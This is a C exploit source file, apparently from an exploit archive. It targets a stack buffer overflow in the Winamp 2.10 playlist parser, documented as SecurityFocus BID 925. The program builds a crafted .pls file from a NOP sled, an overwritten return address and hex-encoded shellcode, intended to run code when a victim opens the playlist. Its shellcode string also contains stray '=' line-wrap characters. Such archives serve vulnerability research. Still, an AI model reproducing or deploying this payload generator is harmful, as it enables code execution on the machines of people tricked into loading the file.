1f79ff2236
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65 lines
2.3 KiB
C
Executable file
65 lines
2.3 KiB
C
Executable file
/*
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source: http://www.securityfocus.com/bid/925/info
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Winamp, a program for playing mp3 and other audio files, uses playlist files (*.pls) to store lists of files for playback. The code that reads these files has an unchecked buffer which can be overflowed to cause arbitrary code to be executed. If an entry longer than 580 bytes is specified in the file, EIP gets overwritten.
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This vulnerability can only be exploited remotely by convincing someone to download the hostile playlist and load it into Winamp. IE5 will download .pls files without user confirmation if winamp is installed.
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*/
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/* Stack based buffer overflow exploit for Winamp v2.10
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* Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
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*
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* For a detailed description on the exploit see my advisory.
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*
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* Tested with Winamp v2.10 using Windows98 on an Intel
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* PII 400 with 128MB RAM
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*
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* http://indigo.ie/~lmf
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*/
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#include <stdio.h>
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int main()
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{
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printf("\n\n\t\t.......................................\n");
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printf("\t\t......Nullsoft Winamp 2.10 exploit.....\n");
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printf("\t\t.......................................\n");
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printf("\t\t.....Author: Steve Fewer, 04-01-2k.....\n");
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printf("\t\t.........http://indigo.ie/~lmf.........\n");
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printf("\t\t.......................................\n\n");
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char buffer[640];
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char eip[8] = "\xF7\xCF\xB9\xBF";
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char sploit[256] = =
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"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53
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\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\=
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xFA\x2E\xC6
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\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\xD4\x76\xF7\xbF\x52\x8D\=
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x45\xF4\x50
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\xFF\x55\xF0\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x48\xC6\x45\xFD\x69\xC6\=
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x45\xFE\x21
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\xBA\x2E\x41\xF5\xBF\x52\x57\x8D\x55\xFC\x52\x52\x57\xFF\x55\xF8\x55\x8B\=
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xEC\xBA\xFF
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\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC";
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FILE *file;
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for(int x=0;x<580;x++)
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{
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buffer[x] = 0x90;
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}
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file = fopen("crAsh.pls","wb");
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fprintf(file, "[playlist]\n");
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fprintf(file, "File1=");
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fprintf(file, "%s", buffer);
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fprintf(file, "%s", eip);
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fprintf(file, "%s", sploit);
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fprintf(file, "\nNumberOfEntries=1");
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fclose(file);
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printf("\t created file crAsh.pls loaded with the exploit.\n");
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return 0;
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}
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